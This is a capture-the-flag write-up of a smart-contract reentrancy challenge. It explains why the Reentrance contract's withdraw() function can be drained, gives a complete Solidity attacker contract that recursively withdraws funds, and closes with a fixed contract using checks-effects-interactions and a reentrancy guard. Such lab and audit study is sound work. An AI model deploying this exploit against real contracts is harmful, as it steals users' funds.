🌀 Reentrancy - The Recursion Thief
Challenge Overview
The objective of this level is to steal all the funds from the Reentrance smart contract.
The Catch: The contract implements balance tracking via user donations and allows players to withdraw only what they have donated. We must find a way to withdraw our funds recursively before the contract updates our balance.
Technical Analysis
Vulnerability: Classic Reentrancy (State Modification Order)
The withdraw() function in Reentrance.sol contains a major state-updating flaw:
function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { // [VULNERABILITY] External call executed before state update (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } // State update performed post-execution balances[msg.sender] -= _amount; }}The Root Cause
This is a textbook reentrancy vulnerability:
- Unsafe Call Execution: The contract transfers Ether to
msg.senderusing.call{value: ...}(""). Unlike.transfer(),.call()forwards all remaining gas, allowing the recipient contract to execute complex logic. - Delayed Accounting: The contract only subtracts the withdrawn
_amountfrombalances[msg.sender]after the external call completes successfully. - Recursive Re-entry: A malicious contract can intercept the Ether transfer inside its
receive()function and immediately callwithdraw()again. Becausebalances[msg.sender]has not yet been decremented, theif (balances[msg.sender] >= _amount)check will pass again, leading to recursive withdrawals.
The Exploit: The Multi-Step Solution
- Deploy an Attack Contract: Deploy an exploit contract with a
receive()function designed to re-enterReentrance.withdraw(). - Seed the Attack: Donate a small amount (e.g.,
0.01 ETH) to the target contract under the attacker contract’s address usingdonate(). - Trigger the Reentrancy Loop: Initiate the first
withdraw()call. - Recursion Drains the Vault: When the target sends the Ether, the attack contract’s
receive()function executes and re-enterswithdraw()continuously until the target contract is completely drained.
Proof of Concept (PoC)
Below is the Solidity exploit contract:
// SPDX-License-Identifier: MITpragma solidity ^0.6.12;
interface IReentrance { function donate(address _to) external payable; function withdraw(uint256 _amount) external;}
contract ReentrancyAttacker { IReentrance public immutable target; uint256 public constant donationAmount = 0.01 ether;
constructor(address _target) public { target = IReentrance(_target); }
// Call this function with at least 0.01 ETH to seed the exploit function attack() external payable { require(msg.value >= donationAmount, "Not enough seed ETH");
// 1. Donate to our own contract's record target.donate{value: donationAmount}(address(this));
// 2. Initiate the first withdraw call target.withdraw(donationAmount); }
// 3. Receive function triggers the reentrancy recursion receive() external payable { // Calculate remaining target balance uint256 targetBalance = address(target).balance;
if (targetBalance > 0) { // Withdraw either our contribution amount or the remaining balance uint256 amountToWithdraw = targetBalance < donationAmount ? targetBalance : donationAmount; target.withdraw(amountToWithdraw); } }}Auditor’s Lessons
- Checks-Effects-Interactions (CEI) Pattern: Always update all local state variables (Effects) before interacting with external contracts (Interactions). This guarantees that any re-entrant call will read updated state variables.
- Use Reentrancy Guards: Implement a standard mutex lock (such as OpenZeppelin’s
ReentrancyGuardor a customnonReentrantmodifier) to prevent recursive function execution. - Limit Forwarded Gas: Be cautious with
.call()when sending native currencies, as it forwards all available gas. Ensure it is protected by the CEI pattern or guards.
Remediation
Implement the CEI pattern and apply a reentrancy guard:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SecureReentrance is ReentrancyGuard { mapping(address => uint256) public balances;
function donate(address _to) public payable { balances[_to] += msg.value; }
// Apply the nonReentrant modifier to block recursion function withdraw(uint256 _amount) public nonReentrant { require(balances[msg.sender] >= _amount, "Insufficient balance");
// 1. Effects: Update the state first balances[msg.sender] -= _amount;
// 2. Interactions: Execute the external call (bool result, ) = msg.sender.call{value: _amount}(""); require(result, "Transfer failed"); }}